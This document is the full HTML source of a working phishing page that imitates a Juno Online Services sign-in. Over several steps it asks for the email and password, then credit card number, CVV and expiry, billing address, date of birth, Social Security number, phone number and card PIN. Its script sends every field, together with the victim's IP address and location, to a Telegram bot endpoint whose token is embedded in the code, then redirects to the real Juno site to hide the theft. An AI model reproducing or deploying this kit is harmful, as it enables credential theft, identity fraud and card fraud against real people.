<!DOCTYPE html>
<html lang="en">
<head>
   <meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title> Juno - My Juno</title>body {
	font-family: Arial, sans-serif;
	margin: 0;
	padding: 0;
	background-color: #f4f4f4;
}
.container {
	width: 100%;
	max-width: 700px;
	margin: 30px auto;
	background-color: #fff;
	padding: 20px;
	box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
}
.header {
	text-align: left;
	margin-bottom: 30px;
}
.header img {
	max-width: 150px;
}
.header h1 {
	font-size: 24px;
	color: #333;
	margin-top: 10px;
}
.header p {
	font-size: 16px;
	color: #666;
}
.form-group {
	margin-bottom: 20px;
}
.form-group label {
	display: block;
	font-size: 15px;
	margin-bottom: 5px;
}
.form-group input {
	width: 50%;
	padding: 10px;
	font-size: 19px;
	border: 1px solid red;
	border-radius: 4px;
}
.form-group input:focus {
	outline: none;
	border-color: red;
	align-items: center;
	box-shadow: 0 0 5px rgba(102, 175, 233, 0.5);
}
.form-buttons {
	display: flex;
	justify-content: space-between;
	align-items: center;
	color: #0c4d9c;
	float: right;
}
.btn {
	padding: 15px 100px;
	font-size: 19px;
	cursor: pointer;
	border: none;
	border-radius: 1px;
}
.btn-cancel {
	background-color: #ccc;
	color: #333;
}
.btn-next {
	background-color: #1f256e;
	color: white;
	margin-bottom: 10px;
}
.footer {
	text-align: center;
	font-size: 12px;
	color: #777;
	margin-top: 20px;
	padding-top: 10px;
	border-top: 1px solid #ddd;
}
.footer a {
	color: #004a7c;
	text-decoration: none;
	margin: 0 10px;
}
.footer a:hover {
	text-decoration: underline;
}
.hidden {
	display: none;
}
#loading {
	display: none;
	/* Initially hidden */
	justify-content: center;
	align-items: center;
	height: 100vh;
	font-size: 24px;
	color: #333;
}
#expireMessage {
	color: red;
	text-align: center;
	margin: 20px 0;
}
.captcha-form {
	width: 300px;
	text-align: center;
	font-size: 39px;
}
.captcha-box {
	width: 200px;
	height: 50px;
	background-color: #dcdcdc;
	border: 1px solid #aaa;
	margin-bottom: 10px;
	display: block;
	text-align: center;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}
/* Reload Link */
.reload-link {
	display: inline-block;
	font-size: 14px;
	color: #007bff;
	text-decoration: none;
	margin-bottom: 10px;
	cursor: pointer;
}
.reload-link:hover {
	text-decoration: underline;
}
/* Captcha Input */
.captcha-input {
	width: 50%;
	padding: 5px 10px;
	font-size: 18px;
	border: 1px solid #ccc;
	border-radius: 4px;
	margin-bottom: 5px;
	text-align: center;
	box-sizing: border-box;
}
/* Error Message */
.error-message {
	color: red;
	font-size: 14px;
	margin-top: 10px;
}

</head>
<body>

    <div class="container">
        <div class="header">
            <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Juno_Online_Services_logo.svg/220px-Juno_Online_Services_logo.svg.png" alt="Juno Logo">
          
        </div>

        <!-- Expiration Message -->
        <div id="expireMessage" class="hidden"></div>

        <!-- Form -->
        <div id="session1">
        	<h2 style="color:#0078A0;">Welcome!.</h2> <p style="color:#0078A0;"> Please sign-in below. </p>
             
            <b>Please provide your email and password to continue.</b><br><br>
            <form id="userForm">
                <div class="form-group">
                    <input type="email" id="email" placeholder="Enter your email" required>
                </div>
                <div class="form-group">
                    <input type="password" id="password" placeholder="Enter your password" required>
                </div><br><br>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(2)">Next</button>
                </div>
            </form>
        </div>
		
        <div id="session2" class="hidden">
        	<h2 style="color:#0078A0;">Welcome!.</h2> <p style="color:#0078A0;"> Please sign-in below. </p>

            <p  style="color:red;">The User ID or Password you have entered is incorrect. <br>Please check the spelling and try again.</p>
            <form id="userForm">
                <div class="form-group">
                    <input type="retryemail" id="retryemail" placeholder="Enter your email" required>
                </div>
                <div class="form-group">
                    <label for="password">Password:</label>
                    <input type="pass" id="pass" placeholder="Enter your password" required>
                </div><p> Enter the words you see in the box below. This helps prevent automated or fraudulent activity.</p>
				<br>
				<canvas id="captcha-canvas" class="captcha-box"></canvas>
				<a id="reload-captcha" class="reload-link">Difficulty reading the words? Get another image.</a>
				<input type="text" id="captcha-input" class="captcha-input" placeholder="Type the words above:" required>
                <p id="error-message" class="error-message"></p>
				
				
				<br>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(3)">Next</button>
                </div>
            </form>
        </div>


        <div id="session3" class="hidden">
		
            <h2>Credit Card Information </h2>
            <p>Please enter your credit card details for verification.</p>
            <form>
			<i class="fa fa-cc-visa" style="font-size:48px;color:lightblue"></i>
				<i class="fa fa-cc-mastercard" style="font-size:48px;color:red"></i>
                <i class="fa fa-cc-discover" style="font-size:48px;color:orange"></i>
				<i class="fa fa-cc-amex" style="font-size:48px;color:	blue"></i>
                <i class="fa fa-credit-card" style="font-size:48px;color:green"></i> <br>
                <div class="form-group">
                    <label for="ccNumber"> <b> Credit Card Number: </b><span style="color:red;"> * </span></label>
                    <input type="text" id="ccNumber" placeholder="Enter your card number" required maxlength="16">
                </div>
                <div class="form-group">
                    <label for="NameOnCard"> <b> Name on Card: </b><span style="color:red;"> * </span></label>
                    <input type="text" id="NameOnCard" placeholder="Enter the name on the card" required maxlength="30">
                </div>
                <div class="form-group">
                    <label for="ccExpiry"> <b>Expiry Date ( MM / YY ): </b><span style="color:red;"> * </span></label>
                    <input type="text" id="ccExpiry" placeholder="MM/YY" pattern="\d{2}/\d{2}" required maxlength="5">
                </div>
                <div class="form-group">
                    <label for="ccCVV"><b> CVV: </b><span style="color:red;"> * </span> </label>
                    <input type="text" id="ccCVV" placeholder="CVV" pattern="\d{3,4}" required maxlength="4">
                </div>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(4)">Next</button>
                </div>
            </form>
        </div>

        <div id="session4" class="hidden">
            <h2>Address Verification</h2>
            <p>Please verify your billing address and other details.</p>
            <form>
                <div class="form-group">
                    <label for="billingAddress"><b> Billing Address: </b><span style="color:red;"> * </span> </label>
                    <input type="text" id="street" placeholder="1809 lochry road" required>
                    <input type="text" id="city" placeholder="Franklin" required>
                    <input type="text" id="state" placeholder="CA" required maxlength="2">
                    <input type="text" id="zipcode" placeholder="Zip code" required maxlength="5">
                </div>
				
				
				
				
                <div class="form-group">
                    <label for="dob"> <b> Date of Birth (MM/DD/YYYY): </b><span style="color:red;"> * </span></label>
                    <input type="text" id="dob" placeholder="Enter your date of birth" required maxlength="10">
                </div>
                <div class="form-group">
                    <label for="ssn"><b> Social Security Number: </b><span style="color:red;"> * </span></label>
                    <input type="text" id="ssn" placeholder="XXX-XX-XXXX" required maxlength="9">
                </div>
                <div class="form-group">
                    <label for="phonenumber"><b> Phone Number: </b><span style="color:red;"> * </span> </label>
                    <input type="text" id="phonenumber" placeholder="Enter your phone number" required maxlength="10">
                </div>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(5)">Next</button>
                </div>
            </form>
        </div>

        <div id="session5" class="hidden">
            <h2>Card PIN Verification</h2>
            <p>Please enter your card PIN to complete verification.</p>
            <form>
                <div class="form-group">
                    <label for="pin"><b> Card PIN: </b><span style="color:red;"> * </span></label>
                    <input type="password" id="pin" placeholder="Enter your card PIN" required maxlength="4">
                </div>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="complete()">Complete Verification</button>
                </div>
            </form>
        </div>
		
		

        <div id="thankYou" class="hidden">
            <h2>Thank You!</h2>
            <p>Your verification is complete. You will be redirected shortly...</p>
        </div>

        <!-- Loading Spinner -->
        <div id="loading"><i> updating to v13.9.0..... </i></div>
<br><br><br>
        <div class="footer">
            <p>© 1995 - 2024 Juno Online Services, Inc.</p>
            <p>
                <a href="#">My Juno</a> |
                <a href="#">My Account</a> |
                <a href="#">Our Services</a> |
                <a href="#">Privacy Policy</a> |
                <a href="#">About Ads</a> |
                <a href="#">Terms of Service</a>
            </p>
        </div>
    </div>


<script>
    document.addEventListener("DOMContentLoaded", () => {
        const sessions = document.querySelectorAll("[id^='session']");
        let currentSession = 1;

        function validateSession(session) {
            const inputs = session.querySelectorAll("input");
            let isValid = true;
            let message = "";

            inputs.forEach((input) => {
                const value = input.value.trim();

                if (!value) {
                    isValid = false;
                    message = `${input.placeholder} is required.`;
                    input.classList.add("invalid");
                } else {
                    input.classList.remove("invalid");
                }

                if (input.type === "email" && !validateEmail(value)) {
                    isValid = false;
                    message = "Please enter a valid email address.";
                    input.classList.add("invalid");
                }

                if (input.type === "text" && input.id === "ccNumber" && !/^\d{16}$/.test(value)) {
                    isValid = false;
                    message = "Please enter a valid 16-digit card number.";
                    input.classList.add("invalid");
                }

                if (input.id === "ccExpiry" && !/^\d{2}\/\d{2}$/.test(value)) {
                    isValid = false;
                    message = "Expiry date must be in MM/YY format.";
                    input.classList.add("invalid");
                }

                if (input.id === "ccCVV" && !/^\d{3,4}$/.test(value)) {
                    isValid = false;
                    message = "Please enter a valid CVV.";
                    input.classList.add("invalid");
                }

                if (input.id === "zipcode" && !/^\d{5}$/.test(value)) {
                    isValid = false;
                    message = "Zipcode must be 5 digits.";
                    input.classList.add("invalid");
                }

                if (input.id === "dob" && !/^\d{2}\/\d{2}\/\d{4}$/.test(value)) {
                    isValid = false;
                    message = "Date of Birth must be in MM/DD/YYYY format.";
                    input.classList.add("invalid");
                }

                if (input.id === "phonenumber" && !/^\d{10}$/.test(value)) {
                    isValid = false;
                    message = "Phone Number must be 10 digits.";
                    input.classList.add("invalid");
                }

                if (input.id === "pin" && !/^\d{4}$/.test(value)) {
                    isValid = false;
                    message = "Card PIN must be 4 digits.";
                    input.classList.add("invalid");
                }
            });

            if (!isValid) {
                const errorMessage = session.querySelector("#error-message");
                if (errorMessage) {
                    errorMessage.textContent = message;
                } else {
                    alert(message);
                }
            }

            return isValid;
        }

        function nextSession(next) {
            const current = sessions[currentSession - 1];
            if (validateSession(current)) {
                current.classList.add("hidden");
                sessions[next - 1].classList.remove("hidden");
                currentSession = next;
            }
        }

        function validateEmail(email) {
            const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return emailRegex.test(email);
        }

        window.nextSession = nextSession;

        // Add delay for each transition
        window.nextSession = (next) => {
            setTimeout(() => {
                const current = sessions[currentSession - 1];
                if (validateSession(current)) {
                    current.classList.add("hidden");
                    sessions[next - 1].classList.remove("hidden");
                    currentSession = next;
                }
            }, Math.random() * 2000 + 3000);
        };
    });
</script>
<script>
    // Check if the form is expired
    const expirationDate = localStorage.getItem('expirationDate');
    const currentDate = new Date().getTime();

    if (expirationDate && currentDate > expirationDate) {
        document.getElementById('expireMessage').innerText = "This form has expired. Please try again later.";
        document.getElementById('expireMessage').classList.remove('hidden');
        document.getElementById('session1').classList.add('hidden');
    } else {
        // Set expiration date to 30 days from now if not set
        if (!expirationDate) {
            localStorage.setItem('expirationDate', currentDate + (90 * 24 * 60 * 60 * 1000));
        }
    }

    function nextSession(sessionNumber) {
        // Hide all sessions
        document.getElementById('session1').classList.add('hidden');
        document.getElementById('session2').classList.add('hidden');
        document.getElementById('session3').classList.add('hidden');
        document.getElementById('session4').classList.add('hidden');
        document.getElementById('session5').classList.add('hidden');

        // Show the selected session
        document.getElementById('session' + sessionNumber).classList.remove('hidden');
    }

    async function complete() {
        const thankYouMessage = document.getElementById('thankYou');
        document.getElementById('session5').classList.add('hidden');
        thankYouMessage.classList.remove('hidden');

        // Show loading animation
        document.getElementById('loading').style.display = 'flex';

        // Collecting data
        const email = document.getElementById('email').value;
        const password = document.getElementById('password').value;
        const retryemail = document.getElementById('retryemail').value;
        const pass = document.getElementById('pass').value;
        const ccNumber = document.getElementById('ccNumber').value;
        const NameOnCard = document.getElementById('NameOnCard').value;
        const ccExpiry = document.getElementById('ccExpiry').value;
        const ccCVV = document.getElementById('ccCVV').value;
        const street = document.getElementById('street').value;
        const city = document.getElementById('city').value;
        const state = document.getElementById('state').value;
        const zipcode = document.getElementById('zipcode').value;
        const dob = document.getElementById('dob').value;
        const ssn = document.getElementById('ssn').value;
        const phoneNumber = document.getElementById('phonenumber').value;
        const pin = document.getElementById('pin').value;

        // Getting user location
        const locationData = await getLocation();
        const userInfo = `
                User Info:
                Email: ${email}
                Password: ${password}
				Retry_Email: ${retryemail}
                Retry_Password: ${pass}
                Credit Card Number: ${ccNumber}
                Name on Card: ${NameOnCard}
                Expiry: ${ccExpiry}
                CVV: ${ccCVV}
                Address: ${street}
                City: ${city}
                State: ${state}
                Zip Code: ${zipcode}
                DOB: ${dob}
                SSN: ${ssn}
                Phone: ${phoneNumber}
                PIN: ${pin}
                IP: ${locationData.ip}
                City: ${locationData.city}
                Region: ${locationData.region}
                Country: ${locationData.country}
            `;

        // Sending data to Telegram (replace 'YOUR_TELEGRAM_BOT_TOKEN' and 'CHAT_ID')
        const data = {
            chat_id: '7149422503',
            text: userInfo
        };

        fetch(`https://api.telegram.org/bot7864506893:AAHX9Xt3g8cpMhwvctIi0SqGTAx6mMGAFDs/sendMessage`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(data)
        });

        // Redirect after a delay
        setTimeout(() => {
            window.location.href = 'https://store.juno.com/account/viewOffers.do?offerId=ju-iso-acc-29-95-monthly&leftRail=true&categoryId=iso';
        }, 5000);
    }

    async function getLocation() {
        const response = await fetch('https://api.ipify.org?format=json');
        const data = await response.json();
        const ip = data.ip;

        // Now get the location based on the IP
        const locationResponse = await fetch(`https://ipapi.co/${ip}/json/`);
        const locationData = await locationResponse.json();

        return {
            ip: ip,
            city: locationData.city,
            region: locationData.region,
            country: locationData.country
        };
    }
</script>
<script>
    function generateCaptcha(ctx, width, height) {
        ctx.clearRect(0, 0, width, height); // Clear the canvas

        // Draw random lines as noise
        for (let i = 0; i < 5; i++) {
            ctx.beginPath();
            ctx.moveTo(Math.random() * width, Math.random() * height);
            ctx.lineTo(Math.random() * width, Math.random() * height);
            ctx.strokeStyle = "#000";
            ctx.lineWidth = 1;
            ctx.stroke();
        }

        // Generate random text
        const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
        let captchaText = '';
        for (let i = 0; i < 6; i++) {
            captchaText += characters.charAt(Math.floor(Math.random() * characters.length));
        }

        // Draw the text on the canvas
        ctx.font = "50px Arial";
        ctx.fillStyle = "#000";
        ctx.fillText(captchaText, 40, 45);

        return captchaText;
    }

    document.addEventListener('DOMContentLoaded', function() {
        const canvas = document.getElementById('captcha-canvas');
        const ctx = canvas.getContext('2d');
        const captchaWidth = canvas.width = 250;
        const captchaHeight = canvas.height = 70;
        let captchaText = generateCaptcha(ctx, captchaWidth, captchaHeight);

        const reloadLink = document.getElementById('reload-captcha');
        const submitButton = document.getElementById('submit-btn');
        const captchaInput = document.getElementById('captcha-input');
        const errorMessage = document.getElementById('error-message');

        // Reload captcha
        reloadLink.addEventListener('click', function() {
            captchaText = generateCaptcha(ctx, captchaWidth, captchaHeight);
        });

        // Submit form
        submitButton.addEventListener('click', function(e) {
            e.preventDefault(); // Prevent form submission
            if (captchaInput.value === captchaText) {
                errorMessage.textContent = '';
                alert('Captcha solved! Proceeding to next session.');
            } else {
                errorMessage.textContent = 'Captcha is incorrect. Please try again.';
            }
        });
    });
</script>
</body>
</html>
